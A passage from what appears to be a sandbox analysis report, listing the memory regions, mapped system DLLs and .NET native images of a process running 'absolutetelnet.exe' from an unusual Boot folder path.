0x4bdfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 3558 start_va = 0x800000 end_va = 0x8fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000800000" filename = "" Region: id = 3559 start_va = 0x20000 end_va = 0x26fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000020000" filename = "" Region: id = 3560 start_va = 0x7ffb1faf0000 end_va = 0x7ffb1fb96fff monitored = 0 entry_point = 0x7ffb1fb058d0 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll") Region: id = 3561 start_va = 0x7ffb1dde0000 end_va = 0x7ffb1de7cfff monitored = 0 entry_point = 0x7ffb1dde78a0 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 3562 start_va = 0x900000 end_va = 0x9fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000900000" filename = "" Region: id = 3563 start_va = 0x7ffb20080000 end_va = 0x7ffb200dafff monitored = 0 entry_point = 0x7ffb200938b0 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 3564 start_va = 0x7ffb1ff60000 end_va = 0x7ffb2007bfff monitored = 0 entry_point = 0x7ffb1ffa02b0 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 3565 start_va = 0x170000 end_va = 0x1effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000170000" filename = "" Region: id = 3566 start_va = 0x170000 end_va = 0x176fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000170000" filename = "" Region: id = 3567 start_va = 0x1e0000 end_va = 0x1effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001e0000" filename = "" Region: id = 3568 start_va = 0x7ffb06770000 end_va = 0x7ffb0680cfff monitored = 1 entry_point = 0x7ffb06771010 region_type = mapped_file name = "mscoreei.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscoreei.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\mscoreei.dll") Region: id = 3569 start_va = 0x180000 end_va = 0x186fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000180000" filename = "" Region: id = 3570 start_va = 0x7ffb1da70000 end_va = 0x7ffb1dac1fff monitored = 0 entry_point = 0x7ffb1da7f530 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\System32\\shlwapi.dll" (normalized: "c:\\windows\\system32\\shlwapi.dll") Region: id = 3571 start_va = 0x7ffb1d5b0000 end_va = 0x7ffb1d82cfff monitored = 0 entry_point = 0x7ffb1d684970 region_type = mapped_file name = "combase.dll" filename = "\\Windows\\System32\\combase.dll" (normalized: "c:\\windows\\system32\\combase.dll") Region: id = 3572 start_va = 0x7ffb1d200000 end_va = 0x7ffb1d269fff monitored = 0 entry_point = 0x7ffb1d236d50 region_type = mapped_file name = "bcryptprimitives.dll" filename = "\\Windows\\System32\\bcryptprimitives.dll" (normalized: "c:\\windows\\system32\\bcryptprimitives.dll") Region: id = 3573 start_va = 0x7ffb1d8e0000 end_va = 0x7ffb1da65fff monitored = 0 entry_point = 0x7ffb1d92ffc0 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 3574 start_va = 0x7ffb1fc90000 end_va = 0x7ffb1fde5fff monitored = 0 entry_point = 0x7ffb1fc9a8d0 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 3575 start_va = 0x190000 end_va = 0x1c8fff monitored = 0 entry_point = 0x1912f0 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 3576 start_va = 0xa00000 end_va = 0xb87fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000a00000" filename = "" Region: id = 3577 start_va = 0x7ffb1fe60000 end_va = 0x7ffb1fe9afff monitored = 0 entry_point = 0x7ffb1fe612f0 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 3578 start_va = 0xb90000 end_va = 0xd10fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000b90000" filename = "" Region: id = 3579 start_va = 0xd20000 end_va = 0x211ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000d20000" filename = "" Region: id = 3580 start_va = 0x190000 end_va = 0x190fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000190000" filename = "" Region: id = 3581 start_va = 0x1a0000 end_va = 0x1a0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001a0000" filename = "" Region: id = 3582 start_va = 0x2120000 end_va = 0x2312fff monitored = 1 entry_point = 0x231131e region_type = mapped_file name = "absolutetelnet.exe" filename = "\\Boot\\Resources\\en-US\\absolutetelnet.exe" (normalized: "c:\\boot\\resources\\en-us\\absolutetelnet.exe") Region: id = 3583 start_va = 0x7ffb1c7f0000 end_va = 0x7ffb1c7fefff monitored = 0 entry_point = 0x7ffb1c7f3210 region_type = mapped_file name = "kernel.appcore.dll" filename = "\\Windows\\System32\\kernel.appcore.dll" (normalized: "c:\\windows\\system32\\kernel.appcore.dll") Region: id = 3584 start_va = 0x7ffb1aed0000 end_va = 0x7ffb1aed9fff monitored = 0 entry_point = 0x7ffb1aed1350 region_type = mapped_file name = "version.dll" filename = "\\Windows\\System32\\version.dll" (normalized: "c:\\windows\\system32\\version.dll") Region: id = 3585 start_va = 0x7ffb02200000 end_va = 0x7ffb02be5fff monitored = 1 entry_point = 0x7ffb02205b60 region_type = mapped_file name = "clr.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\clr.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\clr.dll") Region: id = 3586 start_va = 0x7ffb06670000 end_va = 0x7ffb06766fff monitored = 0 entry_point = 0x7ffb06694d80 region_type = mapped_file name = "msvcr120_clr0400.dll" filename = "\\Windows\\System32\\msvcr120_clr0400.dll" (normalized: "c:\\windows\\system32\\msvcr120_clr0400.dll") Region: id = 3587 start_va = 0x1b0000 end_va = 0x1b0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001b0000" filename = "" Region: id = 3588 start_va = 0x1c0000 end_va = 0x1cffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001c0000" filename = "" Region: id = 3589 start_va = 0x1d0000 end_va = 0x1dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001d0000" filename = "" Region: id = 3590 start_va = 0x7ffaa2af0000 end_va = 0x7ffaa2afffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00007ffaa2af0000" filename = "" Region: id = 3591 start_va = 0x7ffaa2b00000 end_va = 0x7ffaa2b0ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00007ffaa2b00000" filename = "" Region: id = 3592 start_va = 0x7ffaa2b10000 end_va = 0x7ffaa2b9ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00007ffaa2b10000" filename = "" Region: id = 3593 start_va = 0x7ffaa2ba0000 end_va = 0x7ffaa2c0ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00007ffaa2ba0000" filename = "" Region: id = 3594 start_va = 0x1f0000 end_va = 0x1f0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001f0000" filename = "" Region: id = 3595 start_va = 0x4c0000 end_va = 0x4c0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004c0000" filename = "" Region: id = 3596 start_va = 0x800000 end_va = 0x8cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000800000" filename = "" Region: id = 3597 start_va = 0x8f0000 end_va = 0x8fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000008f0000" filename = "" Region: id = 3598 start_va = 0x6d0000 end_va = 0x6fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000006d0000" filename = "" Region: id = 3599 start_va = 0x700000 end_va = 0x7fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000700000" filename = "" Region: id = 3600 start_va = 0x2120000 end_va = 0x221ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002120000" filename = "" Region: id = 3601 start_va = 0x6d0000 end_va = 0x6dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000006d0000" filename = "" Region: id = 3602 start_va = 0x6f0000 end_va = 0x6fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000006f0000" filename = "" Region: id = 3603 start_va = 0x2220000 end_va = 0x1a21ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002220000" filename = "" Region: id = 3604 start_va = 0x1a220000 end_va = 0x1a58ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001a220000" filename = "" Region: id = 3605 start_va = 0x1a590000 end_va = 0x1a695fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001a590000" filename = "" Region: id = 3606 start_va = 0x1a6a0000 end_va = 0x1a79ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001a6a0000" filename = "" Region: id = 3607 start_va = 0x1a7a0000 end_va = 0x1aad6fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 3608 start_va = 0x7ffb00d10000 end_va = 0x7ffb021f7fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "mscorlib.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_64\\mscorlib\\f89061884b75dab0e3967d7221e5290d\\mscorlib.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\mscorlib\\f89061884b75dab0e3967d7221e5290d\\mscorlib.ni.dll") Region: id = 3609 start_va = 0x7ffb1f890000 end_va = 0x7ffb1f9d2fff monitored = 0 entry_point = 0x7ffb1f8b8210 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll") Region: id = 3610 start_va = 0x800000 end_va = 0x8bffff monitored = 0 entry_point = 0x820da0 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll") Region: id = 3611 start_va = 0x8c0000 end_va = 0x8cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000008c0000" filename = "" Region: id = 3623 start_va = 0x1aae0000 end_va = 0x1abbcfff monitored = 0 entry_point = 0x1ab3e0b0 region_type = mapped_file name = "rpcss.dll" filename = "\\Windows\\System32\\rpcss.dll" (normalized: "c:\\windows\\system32\\rpcss.dll") Region: id = 3624 start_va = 0x7ffb1b150000 end_va = 0x7ffb1b1e5fff monitored = 0 entry_point = 0x7ffb1b175570 region_type = mapped_file name = "uxtheme.dll" filename = "\\Windows\\System32\\uxtheme.dll" (normalized: "c:\\windows\\system32\\uxtheme.dll") Region: id = 3625 start_va = 0x1aae0000 end_va = 0x1ac3ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001aae0000" filename = "" Region: id = 3627 start_va = 0x7ff5feee0000 end_va = 0x7ff5fef7ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00007ff5feee0000" filename = "" Region: id = 3628 start_va = 0x7ff5feed0000 end_va = 0x7ff5feedffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00007ff5feed0000" filename = "" Region: id = 3629 start_va = 0x7ffaa2c10000 end_va = 0x7ffaa2c1ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00007ffaa2c10000" filename = "" Region: id = 3630 start_va = 0x7ffaa2c20000 end_va = 0x7ffaa2c2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00007ffaa2c20000" filename = "" Region: id = 3631 start_va = 0x7ffaa2c30000 end_va = 0x7ffaa2c6ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00007ffaa2c30000" filename = "" Region: id = 3632 start_va = 0x7ffb06560000 end_va = 0x7ffb0666dfff monitored = 1 entry_point = 0x7ffb06561080 region_type = mapped_file name = "clrjit.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\clrjit.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\clrjit.dll") Region: id = 3633 start_va = 0x7ffb200e0000 end_va = 0x7ffb201a0fff monitored = 0 entry_point = 0x7ffb20100da0 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll") Region: id = 3634 start_va = 0x6d0000 end_va = 0x6dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000006d0000" filename = "" Region: id = 3636 start_va = 0x7ffb000c0000 end_va = 0x7ffb00d03fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "system.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\60b77585c8aa9cfd1b30a64092c81041\\System.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\system\\60b77585c8aa9cfd1b30a64092c81041\\system.ni.dll") Region: id = 3637 start_va = 0x7ffaff730000 end_va = 0x7ffb000b1fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "system.core.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Core\\d1da4b8a843ec63bb8be25f8202bedc1\\System.Core.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\system.core\\d1da4b8a843ec63bb8be25f8202bedc1\\system.core.ni.dll") Region: id = 3638 start_va = 0x6e0000 end_va = 0x6effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000006e0000" filename = "" Region: id = 3639 start_va = 0x6e0000 end_va = 0x6effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000006e0000" filename = "" Region: id = 3640 start_va = 0x6e0000 end_va = 0x6effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000006e0000" filename = "" Region: id = 3641 start_va = 0x6e0000 end_va = 0x6effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000006e0000" filename = "" Region: id = 3642 start_va = 0x6e0000 end_va = 0x6effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000006e0000" filename = "" Region: id = 3643 start_va = 0x800000 end_va = 0x80ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000800000" filename = "" Region: id = 3644 start_va = 0x1ac40000 end_va = 0x1adbffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ac40000" filename = "" Region: id = 3649 start_va = 0x6e0000 end_va = 0x6effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000006e0000" filename = "" Region: id = 3650 start_va = 0x6e0000 end_va = 0x6effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000006e0000" filename = "" Region: id = 3651 start_va = 0x6e0000 end_va = 0x6effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000006e0000" filename = "" Region: id = 3652 start_va = 0x800000 end_va = 0x80ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000800000" filename = "" Region: id = 3653 start_va = 0x810000 end_va = 0x81ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000810000" filename = "" Region: id = 3654 start_va = 0x6e0000 end_va = 0x6effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000006e0000" filename = "" Region: id = 3655 start_va = 0x6e0000 end_va = 0x6effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000006e0000" filename = "" Region: id = 3656 start_va = 0x6e0000 end_va = 0x6effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000006e0000" filename = "" Region: id = 3657 start_va = 0x6e0000 end_va = 0x6effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000006e0000" filename = "" Region: id = 3658 start_va = 0x6e0000 end_va = 0x6effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000006e0000" filename = "" Region: id = 3659 start_va = 0x6e0000 end_va = 0x6e0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006e0000" filename = "" Region: id = 3660 start_va = 0x7ffb1d830000 end_va = 0x7ffb1d8d6fff monitored = 0 entry_point = 0x7ffb1d83b4d0 region_type = mapped_file name = "clbcatq.dll" filename = "\\Windows\\System32\\clbcatq.dll" (normalized: "c:\\windows\\system32\\clbcatq.dll") Region: id = 3661 start_va = 0x800000 end_va = 0x80ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000800000" filename = "" Region: id = 3662 start_va = 0x1aae0000 end_va = 0x1abbcfff monitored = 0 entry_point = 0x1ab3e0b0 region_type = mapped_file name = "rpcss.dll" filename = "\\Windows\\System32\\rpcss.dll" (normalized: "c:\\windows\\system32\\rpcss.dll") Region: id = 3663 start_va = 0x1ac30000 end_va = 0x1ac3ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ac30000" filename = "" Region: id = 3664 start_va = 0x1aae0000 end_va = 0x1abdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001aae0000" filename = "" Region: id = 3665 start_va = 0x1ac40000 end_va = 0x1ad3ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ac40000" filename = "" Region: id = 3666 start_va = 0x1adb0000 end_va = 0x1adbffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001adb0000" filename = "" Region: id = 3667 start_va = 0x1adc0000 end_va = 0x1aebffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001adc0000" filename = "" Region: id = 3668 start_va = 0x810000 end_va = 0x83dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000810000" filename = "" Region: id = 3669 start_va = 0x840000 end_va = 0x87ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000840000" filename = "" Region: id = 3670 start_va = 0x1aec0000 end_va = 0x1afbffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001aec0000" filename = "" Region: id = 3671 start_va = 0x880000 end_va = 0x88ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000880000" filename = "" Region: id = 3672 start_va = 0x7ffb06370000 end_va = 0x7ffb0655afff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "system.drawing.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Drawing\\43de4a177616225e9b6262468e1c3b53\\System.Drawing.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\system.drawing\\43de4a177616225e9b6262468e1c3b53\\system.drawing.ni.dll") Region: id = 3673 start_va = 0x7ffafe830000 end_va = 0x7ffaff720fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "system.windows.forms.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Windows.Forms\\37004ddc6f466d807c52ca3b7f9f9827\\System.Windows.Forms.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\system.windows.forms\\37004ddc6f466d807c52ca3b7f9f9827\\system.windows.forms.ni.dll") Region: id = 3674 start_va = 0x880000 end_va = 0x88ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000880000" filename = "" Region: id = 3675 start_va = 0x890000 end_va = 0x89ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000890000" filename = "" Region: id = 3676 start_va = 0x880000 end_va = 0x88ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000880000" filename = "" Region: id = 3677 start_va = 0x890000 end_va = 0x89ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000890000" filename = "" Region: id = 3678 start_va = 0x8a0000 end_va = 0x8affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000008a0000" filename = "" Region: id = 3679 start_va = 0x8b0000 end_va = 0x8bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000008b0000" filename = "" Region: id = 3680 start_va = 0x8d0000 end_va = 0x8dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000008d0000" filename = "" Region: id = 3681 start_va = 0x8e0000 end_va = 0x8effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000008e0000" filename = "" Region: id = 3682 start_va = 0x1abe0000 end_va = 0x1abeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001abe0000" filename = "" Region: id = 3683 start_va = 0x1abf0000 end_va = 0x1abfffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001abf0000" filename = "" Region: id = 3684 start_va = 0x1ac00000 end_va = 0x1ac0ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ac00000" filename = "" Region: id = 3685 start_va = 0x1ac10000 end_va = 0x1ac1ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ac10000" filename = "" Region: id = 3686 start_va = 0x1ac20000 end_va = 0x1ac2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ac20000" filename = "" Region: id = 3687 start_va = 0x1ad40000 end_va = 0x1ad4ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ad40000" filename = "" Region: id = 3688 start_va = 0x1ad50000 end_va = 0x1ad5ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ad50000" filename = "" Region: id = 3689 start_va = 0x1ad60000 end_va = 0x1ad6ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ad60000" filename = "" Region: id = 3690 start_va = 0x1ad70000 end_va = 0x1ad7ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ad70000" filename = "" Region: id = 3691 start_va = 0x1ad80000 end_va = 0x1ad8ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ad80000" filename = "" Region: id = 3692 start_va = 0x1ad90000 end_va = 0x1ad9ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ad90000" filename = "" Region: id = 3693 start_va = 0x1ada0000 end_va = 0x1adaffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ada0000" filename = "" Region: id = 3694 start_va = 0x1afc0000 end_va = 0x1afcffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001afc0000" filename = "" Region: id = 3695 start_va = 0x1afd0000 end_va = 0x1afdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001afd0000" filename = "" Region: id = 3696 start_va = 0x1afe0000 end_va = 0x1afeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001afe0000" filename = "" Region: id = 3697 start_va = 0x1aff0000 end_va = 0x1affffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001aff0000" filename = "" Region: id = 3698 start_va = 0x1b000000 end_va = 0x1b00ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b000000" filename = "" Region: id = 3699 start_va = 0x1b010000 end_va = 0x1b01ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b010000" filename = "" Region: id = 3700 start_va = 0x1b020000 end_va = 0x1b02ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b020000" filename = "" Region: id = 3701 start_va = 0x1b030000 end_va = 0x1b03ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b030000" filename = "" Region: id = 3702 start_va = 0x1b040000 end_va = 0x1b04ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b040000" filename = "" Region: id = 3703 start_va = 0x1b050000 end_va = 0x1b05ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b050000" filename = "" Region: id = 3704 start_va = 0x1b060000 end_va = 0x1b06ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b060000" filename = "" Region: id = 3705 start_va = 0x1b070000 end_va = 0x1b07ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b070000" filename = "" Region: id = 3706 start_va = 0x1b080000 end_va = 0x1b08ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b080000" filename = "" Region: id = 3707 start_va = 0x1b090000 end_va = 0x1b09ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b090000" filename = "" Region: id = 3708 start_va = 0x1b0a0000 end_va = 0x1b0affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b0a0000" filename = "" Region: id = 3709 start_va = 0x1b0b0000 end_va = 0x1b0bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b0b0000" filename = "" Region: id = 3710 start_va = 0x1b0c0000 end_va = 0x1b0cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b0c0000" filename = "" Region: id = 3711 start_va = 0x1b0d0000 end_va = 0x1b0dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b0d0000" filename = "" Region: id = 3712 start_va = 0x1b0e0000 end_va = 0x1b0effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b0e0000" filename = "" Region: id = 3713 start_va = 0x1b0f0000 end_va = 0x1b0fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b0f0000" filename = "" Region: id = 3714 start_va = 0x1b100000 end_va = 0x1b10ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b100000" filename = "" Region: id = 3715 start_va = 0x1b110000 end_va = 0x1b12ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b110000" filename = "" Region: id = 3716 start_va = 0x1b130000 end_va = 0x1b14ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b130000" filename = "" Region: id = 3717 start_va = 0x1b150000 end_va = 0x1b17ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b150000" filename = "" Region: id = 3718 start_va = 0x1b180000 end_va = 0x1b1affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b180000" filename = "" Region: id = 3719 start_va = 0x1b1b0000 end_va = 0x1b1bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b1b0000" filename = "" Region: id = 3720 start_va = 0x1b1c0000 end_va = 0x1b1cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b1c0000" filename = "" Region: id = 3721 start_va = 0x1b1d0000 end_va = 0x1b1dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b1d0000" filename = "" Region: id = 3722 start_va = 0x1b1e0000 end_va = 0x1b1effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b1e0000" filename = "" Region: id = 3723 start_va = 0x1b1f0000 end_va = 0x1b1fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b1f0000" filename = "" Region: id = 3724 start_va = 0x1b200000 end_va = 0x1b20ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b200000" filename = "" Region: id = 3725 start_va = 0x1b210000 end_va = 0x1b21ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b210000" filename = "" Region: id = 3726 start_va = 0x1b220000 end_va = 0x1b22ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b220000" filename = "" Region: id = 3727 start_va = 0x1b230000 end_va = 0x1b23ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b230000" filename = "" Region: id = 3728 start_va = 0x1b240000 end_va = 0x1b24ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b240000" filename = "" Region: id = 3729 start_va = 0x1b250000 end_va = 0x1b25ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b250000" filename = "" Region: id = 3730 start_va = 0x1b260000 end_va = 0x1b26ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b260000" filename = "" Region: id = 3731 start_va = 0x1b270000 end_va = 0x1b27ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b270000" filename = "" Region: id = 3732 start_va = 0x1b280000 end_va = 0x1b28ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b280000" filename = "" Region: id = 3733 start_va = 0x1b290000 end_va = 0x1b29ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b290000" filename = "" Region: id = 3734 start_va = 0x1b2a0000 end_va = 0x1b2affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b2a0000" filename = "" Region: id = 3735 start_va = 0x1b2b0000 end_va = 0x1b2bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b2b0000" filename = "" Region: id = 3736 start_va = 0x1b2c0000 end_va = 0x1b2cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b2c0000" filename = "" Region: id = 3737 start_va = 0x1b2d0000 end_va = 0x1b2dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b2d0000" filename = "" Region: id = 3738 start_va = 0x1afc0000 end_va = 0x1b0bffff monitored = 1 entry_point = 0x0 region_type = private name = 